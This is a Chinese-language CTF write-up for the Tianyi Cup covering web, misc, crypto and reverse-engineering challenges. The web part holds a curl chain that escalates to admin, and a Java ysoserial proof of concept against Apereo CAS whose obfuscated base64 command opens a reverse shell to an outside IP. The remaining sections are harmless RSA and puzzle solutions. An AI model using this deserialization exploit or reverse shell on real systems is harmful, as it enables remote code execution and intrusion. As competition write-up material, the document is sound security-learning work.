天翼杯-WriteUp
Web
APITest
解题思路
➜ curl http://183.129.189.61:59300/login -H 'Content-Type: application/json' -d '{"username": "vvvkkk"}'
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs"}}
➜ curl http://183.129.189.61:59300/becomeAdmin -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs' -d '{"value": "99"}'
{"status":"ok","data":{"isAdmin":true}}
➜ curl http://183.129.189.61:59300/updateUser -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs' -d '{"rights":[["secret"]]}'
{"status":"ok","data":{"user":{"username":"vvvkkk","id":"f8b02764-6f5b-4bde-a5ac-675fc528e68f","value":100,"isAdmin":true,"rights":["message","adminUsername",["secret"]]}}}
➜ curl http://183.129.189.61:59300/serverInfo -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4YjAyNzY0LTZmNWItNGJkZS1hNWFjLTY3NWZjNTI4ZTY4ZiIsImlhdCI6MTU5NjE4NTc4Nn0.NMzcRFuIVGQSTYUZi6r7bwserKHcA4zsFcXuqmHYJvs'
{"status":"ok","data":{"info":[{"name":"message","value":"Can you get flag?"},{"name":"adminUsername","value":"kirakira_dokidoki"},{"name":["secret"],"value":"1145141919810"}]}}
➜ curl http://183.129.189.61:59300/init -H 'Content-Type: application/json' -d '{"secret": "1145141919810"}'
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTk2MTg1OTgwfQ.-SkWSIJfXy53hm_Ql27JDKDIDUMDWke6IUWaxv-nIks"}}
➜ curl http://183.129.189.61:59300/flag -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTk2MTg1OTgwfQ.-SkWSIJfXy53hm_Ql27JDKDIDUMDWke6IUWaxv-nIks'
{"status":"ok","data":{"flag":"DASCTF{5cefbd0642a750e8a2a309d964de8668}"}}
apereocas
https://www.freebuf.com/vuls/226149.html
poc
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.jasig.spring.webflow.plugin.EncryptedTranscoder;
import org.cryptacular.util.CodecUtil;
// 依赖ysoserial
import ysoserial.payloads.ObjectPayload;
import java.util.ArrayList;
import java.util.List;
public class Test {
public static void main(String[] args) throws Exception {
String poc[] = {"CommonsCollections2", "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuMTUyLjEyMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"};
final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);
// AES加密
EncryptedTranscoder transcoder = new EncryptedTranscoder();
byte[] aesEncoded = transcoder.encode(payloadObject);
// base64加密
String b64Encoded = CodecUtil.b64(aesEncoded);
System.out.println(b64Encoded);
}
}
//a6d818ed-68c9-4347-a833-7c704c5ab4dc_AAAAIgAAABBIc1K+6gH1Eb+lRBAzqJrFAAAABmFlczEyOK0fcLOZahms8t/SzeKeRCXPEl6OPQx+6K7qksqVIwFObC2noPz6M5YKn0WeCq4U80b8BobncrOwdhtYd8k1worKK5yFZvKh8KJczSqVgPu/azcbG5Xi6c6lKY8wUppxZDAjFjlF2hfI82iO1EgXJV3Ib2NMol16ZLeM4CmVfyyffZrG0SMxZke4z/zj50yeHPDe5RWV43I8ac2TDd+5874kuZgYftG/kKVZ+88aVCvY6MxPSl9CSknUEad3E6ljT/XreDeA2cA1PDcyVcbYyklyC1BCJmFWXOSpjUvwK9X57rWHnk2NjlvVx83o4bp1yHMlu9tcriSjbdMdBfDiiMTrh9Eboi3UPmYQbhpVxZwH3OrsmwzlUx3BP+7Br05U2Yh0ksUXXcxd/1X6LWTag1BHErkezUjstNTWbm3IlyqMxNeC1KWo6SQ3e7sdwnyKS5Ycfy57GCFs9actYSvNSKYuTDrHJG+0/tTIiltVmYqH6i0tqQXHFLxS3qN0o6WYZphYX4yTGVpLxW3NlBJ2OVm6yooZpZbacWrjlrCmmCOIATbxG27AM4tVvsXj6rM/bvSZaFzISUD9MQRP/O4uT22nnS6l6YEbs75gVUbsxJeI8lpiQX+16qcEH0Ux+BqkBDCON1jPgY7T9U8vOZew/iclgMS8kjQFo4kz/FZpSPjmfJpmIYijjcLpFPnT5I17X4PFzEihYXIm9L+PcI/95HYM75elqkKfaeE1mjURqJTyoEiQDDMJlJo5xWo/qpj3V+duYKLTcX0S0qtBGi4zAXGT1wYRi6QG4EYug5vJBafAw7lMDjoCBYGkqc7krJ3YOhhg9lr9TVkJVfvSB6orlatWqncfB45PEjHo8oyBQgDPqlDZT1bVqzpPm4ffkieMUATovo/czKGP/L77Q4DEFQFPBE2CMXT2nrhmh9EmzEbZpEeVQZZMXnbIp0R+2z3dm/Xq6J1qvmHLv70PmF+8HQknvS0Eg955czmiO98ZXw/3tVl0KAFByx1zc0ybRvW7/r2zqHVQJvtZVq+sdVbmU4tMWyfS+i4A+zEpbReGSv/KUz+9d28xp1vva7cLIGMpd2f+hdH5DiKK0MagsD30sPoJ5cz/1zAd4HsQnfY9ncCm6gCJBrP7RpQq8SbVSlX3XPVAslUZv13DXQk/R8E7lLa7Z5r1TCEv3JVRgmoORlfb//jpxz/BHXmzyyBIUrEx2yWnJQJ3NaerqzjHnVC4xzR4TXpkbPsBKYAtesjEmwfNjjVdUJGGyGPDuu6i/VUBC+AnVjVn6HkBVvs15gH4tNj/QlnQB5mqaneAH8gjB7+ZWNMpW57+YQNooAipmyuzV8vwTrmR+rAuOIR2X06h+UOoENpGPMh4yU+qmw069brmHG+eyJ753wwfLC8Rt+lqWa/wbJyKG8vq9qjW7tXWiRawLBFWn73aI0phcTugk8HxOJMHQWEJocS6zQCTeIAiRQbraZltfHfjGSvZ+GPJZB7hjbPpEoH+33hdyhJ/EhVsvvfvSRUuKnzjsAq1J4U5zh82GgtABXDxn6cNflbfPcKSRtcppKkHG9oTFV1kCftaj8RiMce1ypoBRG1Or5Jjw6PEKhKWFX790jqqSywglVkfR0swO3IqfLLAgZ6XCF9JFEdB29sI0f4QDVKipSziYwDHqu4sJ58JTYB+2x1WlwPseH1SfC+yODetisYaJebtWPbAWKO0O1Ytvxl7NUqvQdkqdzLuGS2DPvPt7DxO0VWzgBcxFpPLBs4EUHZXIAKomRQ+TFxrHPcDeJp7OmuOMNIYggm5xew1WR8gdaKAQSvDIGp1YdI/XqYfkxWzD4BmOqEmK/Nd8IzMUb2dV1vl8qmd99zZ0Srm1PUTS5AxlUW+blSJ3mjzoGOfgubGJ0pziyvxbVncftD4be8cuiw6h0JZ/mlIErZv30SKCBHf4YI=
Misc
签到
解题思路
curl http://das.wetolink.com:8941/6GTest.file -H 'Range: bytes=6291456000-6291456050' --output -
explore_the_music
解题思路
"EB10F48B42D7FB1CE35C171C2EBC0E2D".lower()
根据工具需要三段密码
第一段根据波形
= [0b01110000,
...: 0b01110011,
...: 0b01100100,
...: 0b01000001,
...: 0b00111010,
...: 0b00111000,
...: 0b00110011,
...: 0b00111001,
...: 0b00110111,
...: 0b00111001,
...: 0b00110011,
...: 0b00110110,
...: 0b00110111]
...: for i in s:
...: print(chr(i),end="")
# psdA:83979367
B是根据频谱图
C容易找到strings
使用给出的工具解出flag.txt转小写即
Crypto
easyRSA
解题思路
先爆个e,然后接着爆破
from Crypto.Util.number import *
n=53868412634233045090369153437747412878975425992040754576346754596620347350784422917543759897936684646663150893442998869763798006729979997564587680875175995309635877031073898192380128134509976889005408768734374216063639902277690308505919178272615191163114645916867249827856751349851814346547505622471483949937
e=11299
flag=[36143793706265337073034755285680078528436882895525190723507534395950828118997628925090404438993072380573400767902990067482880570130224609722931177274849457403547171263972983019187913817796665882873998616231519206734202450449317963141346836996876520731298139484504046340552763094411316198407383338208856130870, ......, 30030303315850134541983623762793648940576863243875408346383336740002014977915867166596483716837565090899781937786444667011603255898645014579568163387075249462739655058635864271192704361549774337456607506026964549661765427917083344151333423310742416015343716142879418000874164534510255100626106244640607206741]
crr=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','{','}']
for f in flag:
for i in crr:
c=pow(ord(i),e,n)
if(c==f):
print(i,end='')
break
if(i=='}'):
print('no')
hardRSA
解题思路
sage
N=12723332779402711330767180202990021139894727917028981722242076998825097254419567024122271773380821224949951558669351311750240296591612098048129709925844660421849429715755474874708286508736369884566273719494870891070006251521469139401722700298201541140391493575314714966432624976434199682124684035067305114749262672684081617896579640435891181745346695293618235303178334371123418790204709073465264408888007492994820133128499094347122686903153588634296508454120927
d = 917866078764439879522978129155982237074226497363774303077559973086500072584698357706062953607160443100927388509079770846279467254666824170221038624376848400144567
p=3141886348112988339174865432179206412942588390228169645162293920470188882447855208783220899752887620221059861467348059334030873350571979462363834615231089
e=7
known_bits = 540
X = var('X')
d0 = d % (2 ** known_bits)
P.<x> = PolynomialRing(Zmod(N))
for k in range(1, e+1):
results = solve_mod([e * d0 * p*X - k * p*X * (N - p*X+p +X-1) + k * N*p+k*N*X-k*N == p*X], 2 ** 540)
for x in results:
p0 = ZZ(x[0])
if is_prime(p0) and gcd(N,p0)!=1:
print(p0)
from Crypto.Util.number import *
from gmpy2 import invert
import os
p=3141886348112988339174865432179206412942588390228169645162293920470188882447855208783220899752887620221059861467348059334030873350571979462363834615231089
q=1717685499864896197775907037273683013533693547213627442234351497698466603787416145193085531100353655867384681748218717546880918920992536675836375071473317
r=2357581775197781437607482791761103508323570973157025072796217619655346540372188021232066313131969231858159485005657276176524827655663737988820053876919779
c=8696771272015513736887843395612361647314297287781507609196936354183211655364744684164300710583625473872942712063309507651496314800393009480421886926137403759228421858414833429980059903049311837014449093365911603108158352871851677457256058510822509157407703210866317472894586087554001158540951787167699161720491198674848526093644131709561995379565643716017359731201935855247285498574923656191121426618306186331615280461405913653781283860760013215603007314688132
e = 7
n = p*q*r
d = invert(e,(p-1)*(q-1)*(r-1))
m = pow(c,d,n)
print(long_to_bytes(m))
Resvers
mobile
解题思路
比赛结束后十分钟解出来了
在init的位置对x进行了处理 动态调试把更改后的x表数据替换即可
正确解题脚本如下
import numpy as np
xArr=[
230633,
241616,
235681,
243044,
215926,
247340,
226354,
208221,
233269,
218105,
219068,
223956,
243594,
269613,
193282,
278408,
250240,
248290,
209107,
252851,
250114,
260688,
230815,
235191,
210685,
220035,
235265,
262900,
221536,
246427,
226293,
277096]
xxArr=[
0x0D, 0x90, 0x81, 0x24, 0x3A,
0x26, 0x35, 0x28,
0x67, 0x7D,
0x61, 0x13, 0x44,
0x84, 0x1F,
0x94, 0x96, 0x60,
0x76, 0x25,
0x1E, 0x8F, 0x86,
0x25, 0x60,
0x2A, 0x81, 0x54,
0x6F, 0x42,
0x0D, 0x30, 0x7F,
0x6F, 0x66,
0x11, 0x6F, 0x64,
0x78, 0x49,
0x22, 0x90, 0x4E,
0x56, 0x85,
0x30, 0x40, 0x8D,
0x6E, 0x0F,
0x0A, 0x25, 0x80,
0x77, 0x44,
0x68, 0x89, 0x0C,
0x61, 0x1D,
0x2E, 0x0B, 0x74,
0x74, 0x83,
0x7C, 0x36, 0x39,
0x37, 0x7A,
0x4A, 0x7B, 0x39,
0x2C, 0x3F,
0x83, 0x51, 0x56,
0x38, 0x5C,
0x1F, 0x76, 0x62,
0x87, 0x42,
0x73, 0x33, 0x80,
0x66, 0x43,
0x29, 0x28, 0x29,
0x90, 0x35,
0x54, 0x69, 0x79,
0x4A, 0x84,
0x28, 0x42, 0x3E,
0x3D, 0x12,
0x67, 0x6B, 0x33,
0x85, 0x55,
0x84, 0x89, 0x34,
0x2A, 0x45,
0x4F, 0x46, 0x93,
0x36, 0x2B,
0x32, 0x91, 0x36,
0x45, 0x3A,
0x3A, 0x2F, 0x88,
0x4A, 0x2A,
0x3A, 0x41, 0x3E,
0x86, 0x35,
0x38, 0x8F, 0x4A,
0x46, 0x54,
0x21, 0x70, 0x24,
0x3D, 0x29,
0x11, 0x5D, 0x6F,
0x42, 0x55,
0x3E, 0x25, 0x85,
0x95, 0x90,
0x29, 0x67, 0x37,
0x10, 0x7D,
0x84, 0x75, 0x35,
0x39, 0x68,
0x7D, 0x0A, 0x4E,
0x13, 0x22,
0x19, 0x7E, 0x86,
0x8B, 0x5A,
0x16, 0x8A, 0x8E,
0x38, 0x57,
0x2B, 0x74, 0x27,
0x4A, 0x69,
0x3D, 0x36, 0x30,
0x3E, 0x88,
0x57, 0x81, 0x44,
0x84, 0x1C,
0x66, 0x45, 0x47,
0x24, 0x48,
0x3B, 0x72, 0x60,
0x37, 0x47,
0x4B, 0x7E, 0x4C,
0x59, 0x6A,
0x74, 0x21, 0x8A,
0x8F, 0x90,
0x0F, 0x41, 0x56,
0x3D, 0x4F,
0x40, 0x18, 0x3E,
0x0A, 0x63,
0x0E, 0x18, 0x8D,
0x2D, 0x44,
0x19, 0x7C, 0x78,
0x6C, 0x1D,
0x47, 0x26, 0x0A,
0x53, 0x3F,
0x79, 0x2C, 0x1E,
0x70, 0x6B,
0x55, 0x42, 0x52,
0x38, 0x89,
0x27, 0x22, 0x27,
0x3A, 0x74,
0x7D, 0x2D, 0x3E,
0x78, 0x67,
0x37, 0x94, 0x38,
0x51, 0x59,
0x63, 0x33, 0x71,
0x50, 0x4F,
0x66, 0x29, 0x1B,
0x2E, 0x3E,
0x21, 0x4A, 0x46,
0x64, 0x38,
0x25, 0x81, 0x66,
0x70, 0x89,
0x0D, 0x30, 0x91,
0x34, 0x3D,
0x3C, 0x2F, 0x39,
0x50, 0x6F,
0x96, 0x2C, 0x4E,
0x10, 0x3B,
0x83, 0x18, 0x2D,
0x6A, 0x33,
0x4E, 0x92, 0x13,
0x71, 0x69,
0x89, 0x10, 0x2F,
0x60, 0x54,
0x21, 0x59, 0x87,
0x3C, 0x8B,
0x3C, 0x7B, 0x79,
0x0A, 0x1C,
0x41, 0x2B, 0x6F,
0x90, 0x76,
0x0B, 0x1A, 0x25,
0x54, 0x67,
0x0C, 0x0E, 0x39,
0x7E, 0x36,
0x1B, 0x74, 0x4E,
0x67, 0x80,
0x49, 0x87, 0x6B,
0x66, 0x3F,
0x62, 0x4E, 0x3C,
0x43, 0x3A,
0x30, 0x77, 0x36,
0x4E, 0x0A,
0x2D, 0x2E, 0x78,
0x8A, 0x43,
0x1B, 0x94, 0x3D,
0x45, 0x1D,
0x22, 0x68, 0x74,
0x37, 0x48,
0x62, 0x58, 0x89,
0x48, 0x56,
0x76, 0x4F, 0x1D,
0x71, 0x43,
0x3E, 0x77, 0x46,
0x88, 0x7D,
0x2F, 0x91, 0x1B,
0x50, 0x4B,
0x45, 0x28, 0x91,
0x25, 0x25,
0x61, 0x29, 0x72,
0x5A, 0x63,
0x57, 0x90, 0x82,
0x42, 0x0A,
0x2A, 0x2B, 0x90,
0x82, 0x47,
0x6E, 0x70, 0x7B,
0x8A, 0x75,
0x76, 0x34, 0x40,
0x78, 0x5A,
0x8C, 0x5F, 0x7A,
0x16, 0x21,
0x7B, 0x1D, 0x93,
0x64, 0x85,
0x5C, 0x6A, 0x27,
0x30, 0x65,
0x1E, 0x95, 0x56,
0x75, 0x0F,
0x3D, 0x1C, 0x60,
0x4C, 0x24,
0x6F, 0x8B, 0x35,
0x10, 0x5D,
0x4A, 0x84, 0x18,
0x7B, 0x31,
0x5B, 0x18, 0x57,
0x28, 0x20,
0x4A, 0x82, 0x49,
0x0D, 0x87,
0x58, 0x2E, 0x69,
0x35, 0x28,
0x31, 0x30, 0x3F,
0x0F, 0x22,
0x83, 0x59, 0x85,
0x91, 0x70,
0x7C, 0x51, 0x81,
0x69, 0x4E,
0x79, 0x45, 0x0A,
0x81, 0x85,
0x1B, 0x7B, 0x6C,
0x75, 0x79,
0x37, 0x7A, 0x26,
0x80, 0x88,
0x35, 0x51, 0x1D,
0x46, 0x2D,
0x7F, 0x28, 0x86,
0x85, 0x33,
0x3F, 0x7C, 0x6E,
0x2F, 0x75,
0x4B, 0x22, 0x94,
0x1D, 0x70,
0x5A, 0x57, 0x53,
0x7B, 0x19,
0x14, 0x94, 0x51,
0x26, 0x5F,
0x81, 0x75, 0x48,
0x30, 0x21,
0x68, 0x26, 0x15,
0x8F, 0x72,
0x8D, 0x12, 0x4B,
0x47, 0x71,
0x78, 0x30, 0x25,
0x3B, 0x66,
0x85, 0x78, 0x50,
0x71, 0x31,
0x8A, 0x17, 0x4E,
0x4B, 0x0B,
0x8D, 0x4C, 0x48,
0x11, 0x17,
0x76, 0x3D, 0x69,
0x53, 0x42,
0x87, 0x71, 0x53,
0x69, 0x5C,
0x66, 0x18, 0x3A,
0x7E, 0x2E,
0x17, 0x22, 0x53,
0x59, 0x3E,
0x66, 0x45, 0x10,
0x66, 0x67,
0x93, 0x2E, 0x1C,
0x65, 0x2A,
0x14, 0x11, 0x1B,
0x0B, 0x84,
0x85, 0x77, 0x44,
0x41, 0x29,
0x5F, 0x29, 0x86,
0x87, 0x87,
0x35, 0x26, 0x83,
0x5D, 0x47,
0x52, 0x31, 0x73,
0x30, 0x50,
0x44, 0x32, 0x33,
0x1C, 0x5A,
0x65, 0x22, 0x18,
0x91, 0x4B,
0x92, 0x78, 0x3C,
0x5D, 0x70,
0x18, 0x52, 0x8B,
0x96, 0x71,
0x80, 0x24, 0x82,
0x2F, 0x20,
0x5D, 0x35, 0x7A,
0x27, 0x60,
0x13, 0x83, 0x21,
0x2A, 0x7B,
0x50, 0x71, 0x6C,
0x18, 0x49,
0x75, 0x83, 0x51,
0x1D, 0x42,
0x14, 0x95, 0x1C,
0x7C, 0x38,
0x23, 0x3B, 0x78,
0x60, 0x71,
0x57, 0x6F, 0x50,
0x7B, 0x86,
0x40, 0x57, 0x57,
0x72, 0x92,
0x7B, 0x17, 0x7D,
0x37, 0x73,
0x3D, 0x24, 0x4D,
0x7C, 0x69,
0x17, 0x8D, 0x6E,
0x31, 0x70,
0x55, 0x74, 0x56,
0x36, 0x96,
0x55, 0x56, 0x6C,
0x56, 0x2D,
0x24, 0x57, 0x7A,
0x33, 0x36,
0x4B, 0x2C, 0x68,
0x67, 0x23,
0x80, 0x8F, 0x49,
0x45, 0x0D,
0x2F, 0x26, 0x44,
0x0C, 0x7A,
0x32, 0x41, 0x1B,
0x6D, 0x69,
0x3C, 0x7C, 0x5A,
0x0C, 0x33,
0x3D, 0x1A, 0x8F,
0x8C, 0x25,
0x41, 0x0D, 0x34,
0x8B, 0x4D,
0x59, 0x8A, 0x72,
0x6B, 0x17,
0x8D, 0x17, 0x55,
0x4A, 0x77,
0x6A, 0x5A, 0x74,
0x14, 0x40,
0x8A, 0x34, 0x17,
0x61, 0x34,
0x26, 0x87, 0x41,
0x1A, 0x86,
0x87, 0x0E, 0x8F,
0x20, 0x6E,
0x34, 0x32, 0x50,
0x85, 0x42,
0x45, 0x5A, 0x4E,
0x14, 0x93,
0x1C, 0x73, 0x1B,
0x5D, 0x30,
0x51, 0x60, 0x79,
0x3E, 0x91,
0x5E, 0x0A, 0x16,
0x69, 0x17,
0x7D, 0x69, 0x2A,
0x82, 0x8B,
0x55, 0x1D, 0x13,
0x26, 0x33,
0x62, 0x8B, 0x55,
0x50, 0x6A,
0x37, 0x29, 0x2A,
0x95, 0x91,
0x0C, 0x4A, 0x12,
0x84, 0x48,
0x79, 0x8A, 0x61,
0x68, 0x4A,
0x28, 0x51, 0x21,
0x67, 0x71,
0x55, 0x20, 0x1D,
0x92, 0x58,
0x1B, 0x89, 0x24,
0x7E, 0x20,
0x38, 0x25, 0x1D,
0x52, 0x59,
0x4F, 0x64, 0x57,
0x48, 0x5A,
0x5D, 0x44, 0x57,
0x34, 0x4B,
0x8A, 0x7A, 0x8A,
0x54, 0x8D,
0x0D, 0x3B, 0x71,
0x66, 0x77,
0x89, 0x37, 0x1B,
0x92, 0x34,
0x12, 0x41, 0x4E,
0x2C, 0x87,
0x8B, 0x58, 0x6B,
0x8A, 0x74,
0x10, 0x2C, 0x64,
0x8B, 0x65,
0x0D, 0x4C, 0x44,
0x11, 0x38,
0x4A, 0x48, 0x1B,
0x66, 0x1C,
0x46, 0x6C, 0x2E,
0x27, 0x22,
0x2E, 0x8E, 0x11,
0x8D, 0x3C,
0x34, 0x67, 0x88,
0x46, 0x14,
0x66, 0x93, 0x62,
0x37, 0x11,
0x0E, 0x21, 0x4D,
0x86, 0x93,
0x4B, 0x7C, 0x3C,
0x52, 0x74,
0x1A, 0x92, 0x31,
0x6E, 0x2C,
0x80, 0x36, 0x93,
0x6B, 0x3A,
0x42, 0x8F, 0x18,
0x5A, 0x16,
0x5C, 0x8B, 0x49,
0x8D, 0x81,
0x86, 0x54, 0x1B,
0x3E, 0x2E,
0x22, 0x3A, 0x90,
0x2B, 0x88,
0x6B, 0x0B, 0x52,
0x5F, 0x18,
0x75, 0x39, 0x71,
0x49, 0x2C,
0x5B, 0x8D, 0x2C,
0x3C, 0x80,
0x8E, 0x60, 0x39,
0x7F, 0x3C,
0x4A, 0x36, 0x8A,
0x77, 0x76,
0x3D, 0x82, 0x92,
0x0B, 0x41,
0x5C, 0x52, 0x3C,
0x72, 0x36,
0x8B, 0x94, 0x54,
0x6E, 0x8D,
0x8E, 0x54, 0x15,
0x46, 0x36,
0x78, 0x30, 0x5D,
0x68, 0x62,
0x27, 0x67, 0x1D,
0x68]
xArr = np.array(xArr)
xxArr = np.array(xxArr)
xxArr = np.resize(xxArr, (32, 32))
xxArr_inv = np.linalg.inv(xxArr.T)
solve = np.dot(xArr, xxArr_inv)
print(solve)